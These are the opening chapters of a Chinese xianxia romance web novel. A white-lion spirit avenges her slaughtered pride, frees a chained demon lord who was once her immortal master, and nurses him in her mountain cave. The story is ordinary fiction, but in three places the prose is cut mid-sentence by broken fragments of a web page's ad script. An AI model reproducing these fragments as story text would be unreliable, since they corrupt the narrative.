《GB清冷师尊说他都是自愿的》 1. “小白……” 镇魔塔的深处,空气中弥漫着沉重的死寂与腐朽的气息。火光微弱,映射出阴森的墙壁和缠绕其上的符文咒印。 白狮精生得一幅美貌少女模样,提着剑,神情冷峻。白衣白发,若是忽略她周身煞气血气,说是仙人也不为过。 剑刃朝下,在她经行之处留下鲜明的血痕,她却浑然未觉。 她没有名字,父母皆是山野间普通的狮子,碰巧生出了她这个伶俐的,不仅当上了狮群的狮王,还化成了人型。 “是你们杀我父母族群的吗?”她提着沾血的剑,问一个瑟瑟发抖的修士。 “你父母,是.......是谁?” “双童山的狮子。” “是你杀的吗?” “不.......不是我!是他们逼我.......啊——” 她的剑是方才杀守卫的时候抢来的,因为挥剑毫无章法,杀人的时候多了很多豁口。 她只是个化形不多时的小妖,但凡她化形再多些时日,都会晓得自己此时此举有多么不知天高地厚。 此处可是仙家禁地。 她在一个月前才方化形成人,狮群百年以来,只出了她这样一个天才。山野里的野兽不像仙人们的灵兽有天材地宝好好地养着,虽是同类,但是能化人型开灵智者寥寥无几。 化形之后,她能感受到天地之间各处或稀薄或深厚的灵气,未知的力量吸引着她在那处山泉打坐了三日,灵气从山林从泉水尽入胸怀,她的视野从未清明至此,甚至可以看得到另一个山头的鹿。 她看见山泉之中自己的倒影,水中的女子肤白如雪,银发垂下如同锦缎。 她微微皱眉。在狮子的审美中,只有茂密的毛发才能吸引异性的注意。她变回狮子,并试图运用灵力让自己的毛变得光亮一点,才跑回自己族群的领地。 但当她回到双童山时,看见的是父母和族类被扒去了皮毛的尸骨。 不是野兽,也不是猎户。山野之间敢挑战狮子的动物屈指可数,猎户更不会只扒去狮子的皮毛,而把整具尸骸留在原处。 一个自称鬼差的男人找到她,告诉小妖她的族群死于非命。 鬼差带着面具,只露出一双深邃而空洞的眼睛,流露出与生者不同的冷漠与淡然。若是普通人早就被吓得魂飞魄散。刚化形的小妖对生人全无防备,只是五指并作爪扣住那人的脖颈,说若是骗我,你便没命了。 她问那鬼差仇人是谁,鬼差叹气不语。她逼问再三,鬼差也只说眼下的她不是那仇人的对手。 “我唯有一言留与你。” 小妖抬起头,身体紧绷,瞳孔扩大。若她此刻是白狮原型,山边的猎户应该知道,这些都是狮子暴起攻击的前兆。 “若是不惧凶险,可去镇魔塔一探。” 小妖紧绷的身体渐渐放松下来,但是警惕的目光仍然死死钉在自称鬼差的男人身上。 她不是人,并无善恶是非的概念。对于至亲也无深厚的情感。 但是那是她的父母,她的族群,在狮王的领地上洒满她同类的鲜血,没有比这更冒犯狮王尊严的了。 “言尽于此,仙长保重。” 数千盏魂灯在壁龛上,将镇魔塔映得如同白昼。 三千一百五十二盏,双童山上三千一百五十二个生灵。 化形之后,白狮突然就有了过目不忘的能力,她看着那些魂灯,能真实地听到他们的恸哭。 这些魂灯,大抵是和她父母族群一样的精怪所炼化,她弹指一挥,将所有的魂灯从壁龛上取下,被囚禁于此地的鬼魂归于天地,她仿佛能看见他们的魂魄悠悠荡荡地,冲着她来时的路回归地府。 灯灭了,一阵微弱的铁链撞击声忽然从远处传来,若非这时的白狮能听见千里之音,这声音是无论如何也都与她无关的。 杀她族人点魂灯的人她杀掉了。那么,指使他们这么做的人呢。 秦广王说,点亮魂灯,是为镇压大魔。可取活人炼灯的人,又与那大魔有何分别。 她目光一凝,顺着声音往下层走去。 镇魔塔守卫重重。白狮初生牛犊不畏虎,竟化为守卫的样子混迹其中。 前方的黑暗中,有一个模糊的身影被几条粗大的精铁锁链束缚在墙壁上。男人衣衫破碎,乌黑的长发凌乱地披散下来,遮住了他大半张脸。 铁钩穿过他的琵琶骨,经年累月过去,铁锈几乎已经长在了他的皮肉中。 她心中警觉,她的目光锐利地扫过那人的面容,四周的符文依然在隐隐闪烁,镇魔塔里流转着厚重的禁制之力。她明白,这里关押的,恐怕正是传说中的大魔,那个被仙界所恐惧的存在。 就是为了镇压他,仙界才要把那么多无辜的生灵炼制成魂灯。 取下魂灯后,禁锢魔气的力量似乎稍稍松动,男人的身体微微颤抖起来,呼吸急促,长长的睫毛也轻轻颤动着,脆弱得竟险些让人对这个十恶不赦的魔头心生怜惜。 白狮缓步上前,好奇地打量着这位传说中的大魔。 要不要把他放走,然后让他自己去找关他的那个人斗一个你死我活呢? 男子只是虚弱地垂着头,乌发覆着他的半张脸,呼吸显得格外急促。他的身体微微抽动,带动着铁链发出一阵低沉的响声,仿佛每一次呼吸都在撕裂着他体内的痛楚。 白狮精皱了皱眉,心中暗自判断:眼前的男子已被封印了太久,气息虚弱至极,几乎看不到半点反抗的能力。她伸手去碰他的肩膀,想唤醒他。触手处,皮肤冰冷得像死去的尸体,透着一股彻骨的寒意。 魔头的四肢都被精铁锁链牢牢锁住,动弹不得,他似乎在挣扎着苏醒,先是虚弱地咳嗽了起来。 他缓缓睁开眼睛,眼神虚弱而迷茫,目光在黑暗中慢慢聚焦,看到面前的女孩时,眼中露出了一丝不可思议的惊讶,但随即又变得黯然。 他的目光停留在她脸上,白狮只觉得很难看明白他的眼睛里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有什么,就跟那个鬼差的话一样令人费解。大概有不甘心吧,反正若她是这样的大魔,是不会甘心被囚禁于此的。 白狮不喜欢被他这样看着,于是挪开了目光。对于天天赤身裸体天为铺地为床的野兽来说,这样奇怪的感觉还是头一遭。 她隐隐约约意识到这是一个很好看的人,即使他现在满身脏污。不过这是废话,好看的公狮子就算在泥里滚一圈上来也是最好看的公狮子。 “小白......”他的声音虚弱,带着微不可闻的颤抖,仿佛连呼吸都要耗尽他所有的力气。他不再言语,目光开始有些迷离,仿佛用尽了全身的力气。 “谁?”白狮听见他刚刚好像说了什么人的名字,她看着他的神情,心里生出一丝困惑,会是那个把他囚禁在这里的坏种吗。 魔头却没有回答她的问题,只是看着她,目光中带着些许迷茫和无力。他的手指微微动了一下,似乎想要说些什么,但最终却只是叹了口气。 “前辈,那个,我的狮群都被人生炼成了魂灯用在这里关着你,”小妖怪扬起脸,认真地问,“你能告诉我,把你关在这里的人是谁吗,我要去杀了他,替我的狮群报仇。” 魔头愣愣地看着小妖怪,白狮不喜欢他这样的眼神,和鬼界的那帮奇奇怪怪的人一样,好像不相信她能做到一样。可是从前也没有人想象她能当上狮王啊。 “别去。”他说。 “至少现在不行......太危险了。” 小妖怪皱起眉,正要开口询问为什么,魔头却虚弱地咳嗽起来,容色苍白憔悴,浑身血污。 他被囚禁太久了。 白狮想着如果自己整日被关在这种阴暗潮湿的地方,啃不了野猪肉,也看不见阳光,不出三天就要疯掉了。 哐哐两下,白狮精砸碎了一条铁链。 她手中劣质的剑也应声而断,铁链的断裂处发出刺耳的摩擦声,飞溅的金属片在微弱的光线划出几道残影。 这是取无数飞升仙人佩剑重铸熔成的精铁锁链,从没有人能想到居然能用这样暴力的方法解开。 不可不谓力大砖飞。 男人几乎是被琵琶骨上的铁钩吊在了空中,他的腿像是已经断了,即使解开束缚,也没有任何本能的挣扎。 幸好白狮紧接着马上又砸断了他上身的锁链,男人浑身脱力,双膝重重地砸到了地上。 白狮大发慈悲地伸手接住了他,魔头摔在她怀里的瞬间,几不可查地轻轻用头发蹭了蹭她的手。 他的动作太轻微也太克制了,白狮几乎还没有来得及察觉到这个稍微有些冒犯的举止。当然,做狮子时同类之间扑咬玩闹都是再正常不过的事,刚刚化形成人单纯得宛如白纸的小妖自然也意识不到这一点。 她只是满不在乎地捡起精铁锁链。 “看来,没有外面的那些魂灯,前辈也跑不掉咯。前辈不如跟我走吧,我有一整座山,山上的兔子和鹿,我都可以打给你吃。” 2. 他的睫毛沾了雨水,就像哭了一样。 “好啊。”男人费力地抬起头,用很低的声音答应道。 白狮满意地笑了:“只是刚刚我杀了那些供奉魂灯的人,应该马上就会有人赶过来了,前辈应该有很多本领吧,不然现在教我个神行千里的法子,好让我带前辈离开。” 她好奇地盯着眼前的男人,等待着他做出回应,眼神直勾勾的。白狮没有经历过人类社会的教化,并不知道自己这样的行为看起来其实是有些冒犯的。 “过来些,”男人轻轻唤她,“你脸上有血,擦一擦,我袖子脏。” 那并不是白狮自己的血。 对于野兽而言,沾上猎物的血对他们来说称不上是脏污,反而甚至算得上勋章。 白狮愣了一下,然后用手背粗鲁地在脸上胡乱抹了一把,血迹立刻沾满了手指。她不以为然地甩了甩手,任凭血滴在地上,又在衣服上随便擦了几下,像是对这类事习以为常。 “这个阵法名为缩地千里……”大魔的声音听起来有些虚弱,“你还没有系统学过阵法符画,便先把这个图案背下来便好……” 他居然就这么轻易地把他的所学倾囊相授,白狮觉得有些不可思议,她本已经想好了或许要费些功夫拷问一番才能让大魔对她顺从些的。 大魔讲的很认真,白狮也学的很快,只可惜还是出了点差池,缩地千里虽然成功了,可却偏移了几十里。 四周是陡峭的山坡,岩石嶙峋,杂草在风中沙沙作响。几棵参天古树的枝叶紧紧交织在一起,密不透风,仿佛将天空都遮掩了。空气中弥漫着湿润的泥土气息,偶有一两只小鸟扑扇着翅膀,惊起飞向更高的树枝。 “已经很厉害了。你是第一次学,我也只讲了一遍。”魔头很温柔地宽慰,仿佛他们是某个仙门里一对普通的师徒,而不是一个恶贯满盈到需要被百年镇压的魔头,和一个莫名其妙挟持了魔头的来路不明的妖怪。 在山野间明媚的阳光下,魔头的肌肤苍白得几乎透明,即使满脸病容,也是眉目如画。 白狮没有读过人间的话本,不知道魔头应该长什么样子,但是男人即便浑身血污,看起来也像高坐莲台的仙人。 “喂。前辈,你叫什么名字。” 男人的眼睛出现了一瞬间的失神,他嘴角微微翕动,半晌才回答。 “........谢珩。” 白狮并不知道这两个字在曾经的仙界意味着什么,她只是装模作样地哦了一声。 “那你呢,你叫什么?” “我刚化形不久,还没有人的名字。” “那你的父母如何称呼你......” 谢珩看着她,似乎想说些什么,话到嘴边又咽了下去。 “抱歉,我.......” 少女的生身父母,已经被关押他的人炼制成了魂灯。 白狮并不在意:“没什么好抱歉的,人啊狮子啊,都是会死的。冤有头债有主,他们又不是你杀的。” “他们管我叫......” 谢珩专注的目光突然让她有些不好意思说下去了:“随便你怎么叫。” “名字如何能随便叫。”谢珩不知道她为什么突然不说了,有些疑惑。 “咪咪。”白狮咬牙切齿。 谢珩神色有些茫然,紧接着听到白狮咬牙切齿地又重复了一遍:“他们叫我咪咪。” 比起仙界,人界和妖界本就灵气稀薄,再加上双童山出了白狮这样一个千年不遇的大妖,灵气更加少的可怜。缩地千里本就是需要本地灵气才能施用的阵法,这下白狮只能带着人一步步走回自己的领地。 白狮现出原型,让谢珩趴到自己的脊背上。那双骨节分明的手指有些冰凉,指尖微微颤抖。明明是一个该有着强大力量的魔头,现在却像一片薄纸,仿佛她稍一用力就会撕裂。 但是狮子本就不是什么骡马那样易于骑乘的动物,谢珩又是双腿已废,再加上白狮全然没有身上趴了个人的自觉,只跑了两步,就把谢珩摔到了地上。 “抱歉,精铁锁链还在我身上,我现在虽然还会些法术,但是身体和凡人无异。”他身上本就有新伤旧伤,被锁链穿过的肩胛渗出新血,他伏倒在地上,呕出几口血来。 白狮站在一旁,歪着头好奇地看着他呕血的样子,像是在观察某种新奇的猎物。她慢慢靠近,用爪子轻轻踢了踢他:“喂,你死了吗?”她的声音里没有一丝同情或担忧,只有原始的好奇心。 “此地已经是你的领地,若想要把我丢在这里自生生灭,也是可以的。” 白狮皱眉,用她新生的人类大脑努力思考这魔头的行为动机。 这些该死的仙啊魔啊鬼啊说话怎么都怎么弯弯绕绕的。 谢珩安静地在待在那里,并不催促她。 “你是想让我帮你解开这精铁锁链,”白狮恍然大悟,“然后......” 白狮的脑子又不太够用了。然后,然后她会做什么。威震天界的大魔得了自由会干什么,当然是召集旧部把欺辱他的人全都杀了。 “你是想要我替你报父母之仇吧。” 白狮点头,她最初确实是这样想的。 “你可知何为入魔?” 白狮不知道,但是这时候摇头会显得她很无知,她犟着脖子,吞吞吐吐:“知道啊,入魔就是,就是入魔呗。” “入魔之人,未必六伦尽丧,但是凡修道之人,有道心者才可称之为仙。道心破碎则为入魔。我入魔后,便再无打赢他的可能,才会被永世囚于镇魔塔。” “你若是嫌我麻烦,”谢珩垂下眼睛,把失落掩盖得很好,“把我放在这里,任我自生自灭就好。若我能走出山野自然能为自己谋条生路,若是走不出.....也合该是我......” “我不要。”白狮果断拒绝,“我刚刚害你狠狠摔了一跤,现在放开你你肯定会杀了我的。” 谢珩笑了笑:“都好,听你的。” 真是好脾气的魔头,白狮想。要是这人实际上也有他看起来这么好说话就好了。 她如今有些后悔接这块烫手山芋了。要三千多盏活物炼成魂灯才能镇压法力的大魔能是什么善茬。 可是连大魔头都无法对付的仇人,若是自己修炼,不知道要等到猴年马月,反正他如今身体孱弱不过如凡人一般,不如在他身边多学上一招半式。 白狮想着想着,又化作原型,让谢珩趴在自己背上。 “我这次跑稳一点,腿没力气的话,你抱紧我的脖子。” 只跑了不到几里,男人搂着她胳膊的手开始微微发颤。白狮感觉到再跑下去人又要掉下去了,只好停了下来。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “娇气。”白狮有些不满,抬头一看,灰色的云层厚实而低垂,是要下雨的征兆,“这样跑两步停两步,要跑到什么时候去。你看,都要下雨了,本来我们都到山洞了。” “抱歉。”谢珩低低地喘着气,他的手臂用力过度,酸疼得使不上劲。 “你要吃东西吗?” 谢珩点头,他如今的身体与凡人并无区别。 “行,那你找个地方避避雨吧,我去给你找点东西吃。” 谢珩本想说自己不饿,他们可以一起找地方避雨,白狮或许还对此地更熟悉些。但是他还来不及开口,白狮就化作一道白影冲了出去。 白狮带着她的战利品找到谢珩的时候,谢珩已经昏了过去。他在镇魔塔日夜受刑,身体本就虚弱无比,又没找到可以避雨的地方,再加上山野中的瘴气对野兽无害,人类却本是避之不及的。 雨水顺着他的额头流下,打湿了他的发丝,紧贴在苍白的面颊上,在他睫毛上凝结成一颗颗小小的水珠,像是一层薄霜落在他眼睑边缘。即便是在昏迷中,他的眉宇间依旧带着一股与生俱来的宁静与温柔,仿佛与四周的泥泞和风雨格格不入。 远处山峰隐约可见,在灰色的雾霭中仿佛失去了棱角,只剩下模糊的轮廓。而近处,湿滑的泥土粘在白狮的爪子上,伴着几颗被雨水冲洗得干干净净的石子。 “真没用。”白狮皱着眉,化作人形,用人类并不锋利的爪子拍了拍他的脸。 因为带着雨水的缘故,她手心的温度很低,谢珩很快就醒了。 “吃点东西。”白狮把刚咬死的几只血淋淋的兔子甩到他面前。 潜意识里,白狮意识到了如果给谢珩洗个澡,他应该好看得像仙人一样的人物,很难想象谢珩这样的人生啃豪猪时的模样,所以她甚至体贴的打了几只兔子带给谢珩。 她自然不可能猜得到威震天下的大魔头居然是吃不了生食的。 “你打的吗?”谢珩接过那几只血淋淋的兔子,“好厉害。” 打了几只兔子而已,就算是狮群里刚刚开始捕猎的小狮子也不会觉得这有什么难的。这句话实在是太像嘲讽了,可偏偏谢珩的语气却真诚而柔和,让人生不起气来。 谢珩吃的很慢,比白狮打兔子之前生啃了一只鹿的时间还要长,让白狮很是怀疑他是不是真的饿了。 其实白狮倒不是很饿,应该是化形之后身体对进食的要求降低了。不过狮子一辈子活在世上,若是不能打猎啃鹿肉,那还有什么意思。 “这就吃完了?好浪费。” 谢珩显然有些惶恐:“我吃不下了.....抱歉,浪费你的心意了。” 白狮显然没有“浪费我的心意”这种想法,她单纯是从前秋冬时打不到猎时挨过饿见不得浪费食物:“没事,我下次少打几只就好。” “还有力气吗?” 这雨一时半会儿停不下来,虽然白狮不怕淋雨,但是她也不喜欢身上湿漉漉的感觉,想要赶紧回到洞穴。 谢珩摇头,他的眼神一瞬间变得模糊,但很快又聚焦在白狮的身上。这种事情他想要硬撑也硬撑不了。他的睫毛沾了雨水,就像哭了一样。 莫名的,白狮几乎没有来由地感觉到难过,好像身体里有个全然陌生的人,想要用她的手擦去谢珩脸上的雨水。 3. 小猫在他掌心微弱地叫了一声。 白狮俯下身子,让谢珩趴到她背上。 “不行.....我太沉了......”谢珩抗拒极了,全然忘了眼前的明艳少女就在不久之前力大砖飞地劈断了加诸他身上的精铁锁链。 “你哪儿来这么多废话?”白狮不耐烦地强行把他背到了背上,“这里可是有狼的,狼群都一起行动,像你这样的,还不够三头狼分的。” 背上的谢珩你就没有答话,白狮才发现,他好像又晕过去了。 怎么又晕了,白狮想,这大魔头可真娇气。知道的知道他是魔头,不知道的还以为是村里的小书生呢。 背上湿湿粘粘地一片,是谢珩身上的血。 山涧水流湍急,和雨声混在一起,山野之间唯有水声风声,和少女踩着枯枝落叶上的沙沙声。 她是骗谢珩的,这里的狼群和她带领的狮群曾经各占山头势不两立,但是在她熄灭那些魂灯之后,她也同样听见了狼群的嚎哭。 等雨停了之后,这里会很寂寞吧。 这片她最熟悉的地方,好像就剩下她和她背上的谢珩。男人说自己很沉,但是一头普通的成年母狮尚能直接把一头比他重两倍的豪猪叼回领地,更枉论已经成妖的她。 谢珩在她背上,轻的就像一片落叶。 男人那样虚弱,怎么会是恶贯满盈的魔头呢。 山涧里,雨滴敲打着岩石和树叶,汇成了一片模糊的灰白色水雾。水流湍急,夹杂着泥沙的河水一路奔腾而下,溅起的水花打在岸边的石块上,发出沉闷的响声。 白狮还并不熟悉这个人类的躯体,平日里对于狮子来说易如反掌的山路对于两脚兽来说似乎有些难行。 她有些后悔带上了这个累赘,明明最开始指望他帮自己报仇雪恨,却发现救回来一个寸步难行的废人。 谢珩倒是不重,就算算上他四肢上的精铁锁链也远比不了半只豪猪沉。但是她并不习惯用两脚兽的躯体背人。她边走边四处打量,有没有什么结实的藤蔓能把人绑在自己身上的,让她能化出本相背着他走。 四周的树林密布,枝叶交错成了一个天然的穹顶,偶尔有几滴水珠从上方的树叶间滑落,滴在谢珩苍白的脸颊上。雨水顺着他的发丝滑落,汇成一道细流,沿着他的下巴滴在白狮的脖颈上。 “小......”谢珩意识模糊,下意识地想叫她小白,“小咪,你累不累?放我下来歇一会吧。” “能别这么恶心吗?我不累,一会儿就到了,再叫那个名字,我就把你扔下去喂狼。” 谢珩擦了擦她脸上的雨水,用手挡在她眼眶上面,似乎是怕雨水淌进她的眼睛里。 “我不用你管,管好你自己就行,这样当着我看路了。” 谢珩轻轻地嗯了一声。 他的体力很差,很快又昏睡过去了。再醒来时,四周一片昏暗。 他的眼睛慢慢适应了环境,借着外面微弱的光线,他看见自己的起身之处是位于洞内深处的一块平坦的石台。石台上散落着几块干草,不像是山洞里原本就有的。 头很沉,浑身像被火烤一样,喉咙干得仿佛灌满了沙子。 “你好能睡,睡了整整三天,我都以为你死了呢。” “水,想要…….”谢珩有些艰难地说,“想要水。” 白狮出去了一会儿,不久端着一个粗糙的木碗走了进来。 偶尔也会有胆大的猎户进山打猎,这木碗大概是他们留下的。碗里是清澈的山泉水,还带着微微的清甜。 谢珩试图起身,脑袋却晕得厉害,只能靠着岩壁虚弱地坐着。他勉强伸出手,接过白狮递来的水,勉强喝了一口,顿时感到一股冰冷刺骨的感觉从喉咙一直贯穿到胃里。 白狮初通人性,当然意识不到凡人,尤其是病中的凡人,是喝不得生水的。 “好甜。”谢珩却夸赞说。 白狮眼睛亮了亮,显然对他的夸赞很是沾沾自喜。 好乖。谢珩的意识又开始涣散,他勉强倚靠着石壁,想要和眼前的少女再说些话。 因为生水和先前的生肉的缘故,谢珩现在并不好受。他几乎可以想见自己如今的面色是怎样的难看。在小白面前这样,还真是狼狈。 “你这家伙,连喝个水都能搞得自己半死不活。”她嘴里嘟囔着,手上却去探了探他的额头。谢珩的额头烫得吓人,白狮的心不由得揪了一下。 洞外的雨声忽然大了起来,仿佛是天地间的一场盛大的洗礼。风刮进洞口,卷起些许泥土和枯叶。 “你在干什么……”谢珩微弱地问道,他的声音几乎被风声和雨声掩盖。 白狮没有理他,直接化作原型将他拉到自己的怀里,试图用她的体温和皮毛来缓解谢珩的寒冷。她不懂人类的医术,也不懂什么是“生水”,但她知道,在这湿冷的环境下,不能让谢珩继续受寒。 谢珩被她圈在怀里,她抱的有些紧,但是很暖和。 他突然很想伸手去摸她的脑袋,就像从前那样,但是现在的小白,可能会咬他吧。 被镇压在镇魔塔的五百年,天界人届魔界道得出的诸般折磨他日日夜夜都已尝遍,是想着和少女的点点滴滴,才能让自己不彻底昏死过去。 但是五百年太久了。就算他日思夜想,也控制不住那人的音容笑貌逐渐变得模糊。 那么软糯的,乖巧的,善良的小白,离了他这个不称职的师尊,要怎么活下去呢。 谢珩收养小白的时候,还以为她是一只普通的狸奴。小小的,雪似的一团,就那么躺在他的掌心。 谢珩小心翼翼地双手捧着,想要把她还给帝君。 “你又不收徒,又不与其他仙人走动。整天就知道练剑,道心破碎走火入魔了都没人发现。我好心寻了个小玩意给你作伴,若是养死了,你就提着脑袋来见我。” 太小了,谢珩看着手的小猫,她太小了,他甚至不知道要喂她吃什么。他还是想要帝君把这小猫收回去,谢珩是剑修飞升,辟谷之后更是一有闲时就练剑,他哪里敢照顾这么小的小猫。 小猫在他掌心微弱地叫了一声。 “你看,她跟你很投缘嘛。” 谢珩是个只会给剑取名的剑修,并不晓得怎么给狸奴取名,只因她毛色雪白,就取名小白。谢珩用小瓶子装着仙露,一口一口地把她养大了一些。 仙人不需要睡觉,但是谢珩这种每天除了喂猫就是在练剑的剑修确实会累,有时他掀开被子,看见被子里雪白的一团,也只能扶额苦笑。 谢珩都快忘了自己原来是有洁癖的,如今就算满床都是猫毛,他的第一反应也是小白最近怎么掉毛这么严重是不是病了。 他把小猫从被窝里捧出来,小猫依旧精力旺盛活蹦乱掉,他这才放下心来。 谢珩的山门没有旁人。修士飞升需要道心,剑修的道心最是难修,谢珩的剑道又是所有有名字有传承的剑道中最需要天分的。所以他始终没有收徒。千百年来,他一直是一个人在落雪的山门,看着日升月落。 小白来了之后,他就把小白裹在一条厚厚的围巾里,自己则蹲在石阶上,搂着她,一起看雪。 虽然自己是一身白毛,小白但对冰冷的雪却有着一种莫名的恐惧。她总是试探性地用爪子轻轻碰触那些雪花,却又很快缩回来。谢珩看着她这副模样,忍俊不禁,总想哄着她玩一玩。 小白却摇了摇头,继续躲在谢珩怀里不肯出来。谢珩叹了口气,开始用手替她扫去围巾上的雪粒。他的动作很轻很缓,似乎怕惊扰到这只小小的白猫。白雪纷飞,天地寂静,只有他和小猫彼此作伴。 谢珩喜静,但是也总有爱热闹没边界的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 会上门做客,他只是喜静却并非孤僻,也会礼貌地把人迎进山门。 小白不喜欢外客,早就躲进了被子里。谢珩此前并不知道,只当她又犯了爱钻被窝的毛病,把猫从被窝里揪了出来,窝在怀里,打算和人炫耀一番。 谢珩摸着小猫的脑袋,眼中流露出些许柔和的神色,与平日里那冷峻孤高的形象大相径庭。他的一头乌发如墨般顺滑地垂落在肩头,几缕发丝微微垂落在额前。 他有一搭没一搭地听人说话,客人看着他怀里的猫,想要抱起来看看,却被谢珩拒绝。 “当心被挠。”小白的爪子几乎隔天就要被他修剪一遍,谢珩说起谎来面不红心不跳。 客人微微皱眉:“仙君这猫,养了多久了?” “离帝君送给我,已经三年了。” “三年了还这么小,不应该吧。” 谢珩不满客人的质疑,总觉得他好像在指责自己没有好好照顾猫,心道怎么不应该,狸奴之间也不尽相同,有些猫长得快些,有些猫长得慢些,都是常有的事。他又不如那些修灵兽之道的需要御兽来除魔卫道。大小有什么要紧的。 客人见他并不搭腔,只是垂着眼睛逗怀里的猫,大抵是有些不悦。 “贫道修为粗浅,只是看着更像是狮子才是呢。狮子在天界若是用仙露灵泉滋养,确实幼时会长得慢些,化形之后会灵力更加高强些。” 小白似乎不满他们对自己的讨论,从谢珩怀里跳了下去,自己去找平时爱玩的毛线球了。 “小白,”谢珩只唤了一声,她就乖乖地又跑了回来,谢珩给她喂了点仙露,“好啦,我有客人在,觉得无聊就去玩吧。” “我说刘兄就是书看多了,什么都要往书里套一套。这么乖的狸奴怎么可能是狮子呢。我师兄就有一只狻猊灵兽,即便从小养着,也极为桀骜难驯。” 小白很乖,从来都不会离开谢珩的视野范围。这时她玩腻了毛线球,正在门外院落里扑蝴蝶玩。 她身形敏捷,每次扑腾起来,都像一团雪白的小毛球在地面上和空中来回翻滚。阳光透过树叶的缝隙洒在她身上,给她的毛发镀上了一层柔和的金色光芒。 谢珩脸上笑意渐显:“狸奴和狮子也没什么两样,我不过是养着作伴。” 仙界的蝴蝶采的是灵花蜜,喝的是仙露,翅膀轻盈而灵活。小白身型不大,即便每次起跳都全力以赴,还是一次次扑了空。谢珩略皱了皱眉头,生怕她会因为捉不到蝴蝶而泄气。 他心念微动,双指轻轻一弹,一缕淡淡的灵气飞出,悄然包裹住那只蓝色斑点的蝴蝶,令它的飞行慢了下来。 小猫扑到了蝴蝶,兴高采烈地跑到谢珩面前献宝。 “小白真厉害。”谢珩给她找了个透明的瓶子,把蝴蝶小心翼翼地装了进去。蝴蝶在瓶中飞舞,翅膀上闪烁着五彩斑斓的光芒,吸引了小白的注意力。她伸出小爪子,隔着瓶子轻轻地拍打,眼睛一刻也不离开那翩翩飞舞的蝴蝶。 时间一分一秒地过去,小白渐渐安静下来,似乎有些困倦。她用爪子轻轻敲了敲瓶子,发出轻微的“叩叩”声。 “怎么了,想要放走吗?” 小白应了一声,谢珩就打开瓶子放走了蝴蝶。 宾客暗自腹诽就算是自己生的小孩这样一会抓一会放的恐怕都会嫌烦。 谢珩倒是甘之如饴。 玩累了的小猫又回到谢珩怀里,找了个舒适的姿势又蜷缩了起来。谢珩抱着小猫去山门前送客的时候她已经睡着了。软软的毛,软软地趴在他臂弯里。 这些记忆隔得太久,久的好像是前世的故事了。谢珩已经分不清是做了梦,还是想起了从前的事。 他醒来,看见巨大的白狮子正睡在洞口,阴沉的天,风和雨都被她隔绝在洞外,独立出一片小小的天地。 4. 只要我在 谢珩跌跌撞撞地走下石台,一步踉跄,体力不支地半跪倒在白狮身边。他的脸色苍白如纸,唇也淡得发白。 洞口外的风声在山谷间回荡,偶有几滴冷雨被风卷入石洞,打在地面上,碎成无数晶莹的水花。 他捏了个诀,虚弱的灵力从指尖溢出,在冷冽的空气中仿佛一缕透明的烟丝,摇曳不定,几乎没能凝聚成形。他不得不聚强打起精神,才凝聚出结界,替洞口的白狮挡去了外界的风雨。 结界形成的瞬间,雨声似乎小了一些,但石洞外的天地依旧灰蒙蒙一片,风裹挟着凉意不时呼啸而过,刮得结界之外洞口的碎石滚动发出细碎的声响。 离开了镇魔塔之后,他的灵力似乎恢复了一些。很少,但所幸还能起些作用。 温暖的火光出现在他的指尖,火光柔和,透出些许温暖的橙红色,在岩壁投下了谢珩清瘦的影子。他小心翼翼地替白狮烤干淋了雨之后潮湿的毛皮。 白狮被火光的热度唤醒,从鼻子里发出一声有些吓人的“哼”声。若是有个稚童在此听到这样的声音,恐怕都直接会被她吓得哭出声来。 “别把我的毛烤坏了啊。”白狮叮嘱。这一身毛是她最宝贝的东西,只有捕猎能力强的狮子才可能吃出这一身漂亮的,油光水滑的毛。 在狮群中,好看的毛皮不仅是求偶的必需品,也是力量的象征。 “好。不会的,这并非普通的火。”谢珩温声解释。那团火并无实体,也不会灼伤人,谢珩把另一只手的指尖放在了火团中央,示意白狮他的手指并未被灼伤。 白狮这才稍稍安下心来,好奇地伸出爪子用肉垫去碰他手心的火,确实如他所言并非寻常的火焰。 她抬眼盯着谢珩那张疲倦的脸,男人的脸苍白得几近透明,像她在阎王殿见过的鬼魂,但总算有了些生气。她毫不客气地把这归功于自己对他连夜的照顾,心中暗暗盘算是不是能趁机向他学些仙术。 谢珩动作很小心,指尖的热源传递过她的周身,就像被太阳晒过一样干爽。 晒太阳。白狮眯起眼睛发出舒服的呼噜声,她最喜欢晒太阳了。 雨后的阳光会驱走阴湿,带来温暖,顺便带来雨后出来觅食的鹿群,羚羊,和斑马。一次捕猎就能喂饱整个狮群。 “前辈,等雨停了,我带你去山顶晒太阳吧。”白狮提议道。 谢珩身体还有些虚弱,在狮子背上颠簸的痛苦经历还在昨日,但却不忍扫小白的兴,有些迟疑地答应了一声好啊。 “我用人形背你上去,抱你上去也行。前辈,晒太阳很舒服的。暖暖地晒在背上,简直舒服地想睡觉。” 她描述的这一切对于被囚禁了五百年的谢珩来说,确实是很稀奇的事情了。他几乎忘记了被囚禁之前最后一次见到阳光是什么时候。可是想到小白从前一个人躺在山野,却又不禁有些担心。 “你从前一个人睡在山间吗,不会危险吗?” 白狮有些呆愣,她从谢珩的神情中看不到一丝一毫像是开玩笑的迹象。 危险,她吗? 她在山顶上睡觉,难道危险的不是其他动物和人吗。 “不危险啊,”白狮只好耐心给这个愚蠢的魔头解释,“没什么动物敢来招惹我的。如果有危险的话,我会先咬断他的脖子。不过能对我有威胁的东西还挺少的,猎户都不喜欢打狮子。你有危险的话,我也会帮你咬断别人的脖子的。” 谢珩这才发觉是他自己犯了傻。他轻轻笑了笑,苦笑中带着几分自嘲。小白早就不是上一世的那个小白了。谢珩低下头,看着正靠在自己身边取暖的小白,眼神微微暗了暗。 他有些五味杂陈,不知道是该心疼她吃了好些物竞天择适者生存的苦,还是该欣慰她长成了这般强大坚韧的模样。 前世小白一直被谢珩当成狸奴来养。 吃饭的时候抱着喂,睡觉的时候也允许她上床钻自己的被窝。 小猫长到二十斤左右的时候,怀疑她到底是不是一只猫的声音渐渐多了起来。毕竟比起猫,这个体型确实更像狮子或者老虎这种其他猫科动物的幼崽。 谢珩的师弟楚悬每年都会从人间收上许多凡人弟子,其中有个农村来的小姑娘,十一二岁,家乡闹了饥荒,在逃荒路上被仙门的人找到救下,收为了弟子。 